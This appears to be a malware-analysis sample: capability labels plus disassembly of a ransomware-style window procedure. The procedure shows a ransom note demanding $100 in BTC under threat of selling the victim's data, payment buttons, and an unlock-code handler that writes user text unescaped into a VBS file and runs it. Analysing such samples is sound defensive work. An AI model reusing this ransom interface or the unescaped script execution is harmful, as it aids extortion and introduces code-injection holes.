Function at 0x401460
Capabilities:
Create process on windows
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x358
mov eax, dword [ebp + 0xc]
cmp eax, 0x10
je 0x401951
cmp eax, 0x10
ja 0x40148d
cmp eax, 1
je 0x4014a8
cmp eax, 2
je 0x401951
jmp 0x401992
cmp eax, 0x100
je 0x401962
cmp eax, 0x111
je 0x4017c3
jmp 0x401992
mov dword [esp], 0xff
call sym._CreateSolidBrush_4
sub esp, 4
mov dword [esp + 8], eax
mov dword [esp + 4], 0xfffffff6
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._SetClassLongA_12
sub esp, 0xc
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0x3e9
mov eax, dword [ebp + 8]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0x14
mov dword [esp + 0x18], 0x190
mov dword [esp + 0x14], 0x32
mov dword [esp + 0x10], 0x32
mov dword [esp + 0xc], 0x50001080
mov dword [esp + 8], 0x406064
mov dword [esp + 4], str.EDIT
mov dword [esp], 0x200
call sym._CreateWindowExA_48
sub esp, 0x30
mov dword [ebp - 0xc], eax
mov eax, str.Your_Unlock_Code_
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0x401
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._SendMessageA_16
sub esp, 0x10
mov dword [esp], 0x11
call sym._GetStockObject_4
sub esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], 1
mov dword [esp + 8], eax
mov dword [esp + 4], 0x30
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._SendMessageA_16
sub esp, 0x10
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0x3ea
mov eax, dword [ebp + 8]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0x14
mov dword [esp + 0x18], 0x46
mov dword [esp + 0x14], 0x32
mov dword [esp + 0x10], 0x1cc
mov dword [esp + 0xc], 0x50000001
mov dword [esp + 8], str.Unlock
mov dword [esp + 4], str.BUTTON
mov dword [esp], 0
call sym._CreateWindowExA_48
sub esp, 0x30
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0x3eb
mov eax, dword [ebp + 8]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0x50
mov dword [esp + 0x18], 0x1f4
mov dword [esp + 0x14], 0x64
mov dword [esp + 0x10], 0x32
mov dword [esp + 0xc], 0x50200100
mov dword [esp + 8], str.Send_100__As_BTC_:_xxxx_xxxx_xxxx_All_Your_Files_Is_Encrypted_Now__If_You_Dony_Pay_Us_In_24_Hours_Well_Sell_Your_Data__Never_Tried_To_Decrypt_Your_Files_Its_Usless_You_File_Will_Gone_Forever_If_You_Doesnt_Pay_Us____Remember_We_Are_Not_Playing_Game_
mov dword [esp + 4], str.STATIC
mov dword [esp], 0
call sym._CreateWindowExA_48
sub esp, 0x30
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], 1
mov dword [esp + 8], eax
mov dword [esp + 4], 0x30
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._SendMessageA_16
sub esp, 0x10
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0x3ec
mov eax, dword [ebp + 8]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0x1e
mov dword [esp + 0x18], 0x96
mov dword [esp + 0x14], 0xc8
mov dword [esp + 0x10], 0x32
mov dword [esp + 0xc], 0x50000000
mov dword [esp + 8], str.Check_Payment
mov dword [esp + 4], str.BUTTON
mov dword [esp], 0
call sym._CreateWindowExA_48
sub esp, 0x30
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0x3ed
mov eax, dword [ebp + 8]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0x1e
mov dword [esp + 0x18], 0x96
mov dword [esp + 0x14], 0xc8
mov dword [esp + 0x10], 0xdc
mov dword [esp + 0xc], 0x50000000
mov dword [esp + 8], str.About_Us
mov dword [esp + 4], str.BUTTON
mov dword [esp], 0
call sym._CreateWindowExA_48
sub esp, 0x30
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0x3ee
mov eax, dword [ebp + 8]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0x1e
mov dword [esp + 0x18], 0x96
mov dword [esp + 0x14], 0xc8
mov dword [esp + 0x10], 0x186
mov dword [esp + 0xc], 0x50000000
mov dword [esp + 8], str.Copy_BTC_Address
mov dword [esp + 4], str.BUTTON
mov dword [esp], 0
call sym._CreateWindowExA_48
sub esp, 0x30
jmp 0x4019b8
mov eax, dword [ebp + 0x10]
movzx eax, ax
cmp eax, 0x3ec
je 0x4018d6
cmp eax, 0x3ec
jg 0x4017e7
cmp eax, 0x3ea
je 0x401802
jmp 0x4019b8
cmp eax, 0x3ed
je 0x4018fe
cmp eax, 0x3ee
je 0x401926
jmp 0x4019b8
mov dword [esp + 4], 0x3e9
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetDlgItem_8
sub esp, 8
mov dword [ebp - 0x18], eax
mov dword [esp + 8], 0x100
lea eax, [ebp - 0x31c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._GetWindowTextA_12
sub esp, 0xc
lea eax, [ebp - 0x31c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.MsgBox___s_
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x4061c3
mov dword [esp], str.msgbox.vbs
call sym._fopen
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x40194e
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sym._fputs
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.msgbox.vbs
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
nop
jmp 0x40194e
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], str.Button_Clicked
mov dword [esp + 4], str.Check_Payment_button_clicked
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._MessageBoxA_16
sub esp, 0x10
jmp 0x40194f
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], str.Button_Clicked
mov dword [esp + 4], str.About_Us_button_clicked
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._MessageBoxA_16
sub esp, 0x10
jmp 0x40194f
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], str.Button_Clicked
mov dword [esp + 4], str.Copy_BTC_Address_button_clicked
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._MessageBoxA_16
sub esp, 0x10
jmp 0x40194f
nop
jmp 0x4019b8
mov dword [esp], 0
call sym._PostQuitMessage_4
sub esp, 4
jmp 0x4019b8
mov eax, dword [ebp + 0x10]
cmp eax, 0xd
jne 0x4019b7
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x3ea
mov dword [esp + 4], 0x111
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._PostMessageA_16
sub esp, 0x10
jmp 0x4019b7
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0x14]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._DefWindowProcA_16
sub esp, 0x10
jmp 0x4019bd
nop
mov eax, 0
leave
ret 0x10